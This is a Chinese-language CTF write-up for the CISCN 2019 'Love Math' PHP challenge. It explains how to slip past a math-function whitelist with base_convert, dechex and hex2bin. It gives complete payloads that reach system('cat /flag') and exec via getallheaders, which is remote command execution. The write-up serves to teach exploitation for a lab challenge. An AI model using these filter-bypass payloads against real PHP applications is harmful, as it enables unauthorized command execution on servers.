[CISCN 2019 初赛]Love Math 1

知识点:各个函数嵌套,进制转换

00x1

这题过滤了很多比如:参数长读为80以下,且里面只能是数学函数,以及一些字符。

我们可以用变量拼接,那么如何拼接呢?我们可以看一下下面这个函数,里面可以有36进制,也就是说我们可以得到任意小写字母,那么我们就可以尝试构造_GET,但是这需要大写字母,而在php中有个hex2bin可以把16进制转换为字符串,可以通过hex2bin来构造_GET。且hex2bin可以这么构造base_convert(37907361743,10,36),意思是把37907361743转换为36进制,也就是hex2bin
---------------------------------------------------------------------------------------------------------------
在这里插入图片描述
---------------------------------------------------------------------------------------------------------------
那么问题又来了,怎么得到_GET的16进制呢?我们可以通过一个数学函数dechex,它可以把十进制转十六进制,构造dechex(1598506324),十六进制是5f474554

到此以构造_GET完毕。

$pi=base_convert(37907361743,10,36)(dechex(1598506324))
//分解
//$pi=base_convert(37907361743,10,36)(5f474554)
//$pi=hex2bin(5f474554)
//$pi=_GET

现在我们就可以通过变量代换来构造payload。

?c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi){pi}(($$pi){abs})&pi=system&abs=cat /flag
//$$pi=$_GET
//{pi}==[pi],这里的pi为我们要填的shell
//(($$pi){abs})同理
//&pi=system&abs=cat /flag,把这句命令分两部分传参,因为空格被过滤了,只能构造两个get传参

00x2

出处
通过变量拼接裁剪来构造phpinfo,可以看到此版本为7.3.9
在这里插入图片描述

$pi=hypot.min.fmod;$pi=$pi{2}.$pi{0}.$pi{2}.$pi{6}.$pi{7}.$pi{8}.$pi{3};$pi()

借助getallheader()来控制请求头,通过请求头的字段读取flag
payload

$pi=base_convert,$pi(696468,10,36)(($pi(8768397090111664438,10,30))(){1})
//exec(getallheaders(){1})

操作xx和yy,中间用逗号隔开,echo都能输出
echo xx,yy
并且在请求头上加上1:cat flag.php字段即可

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值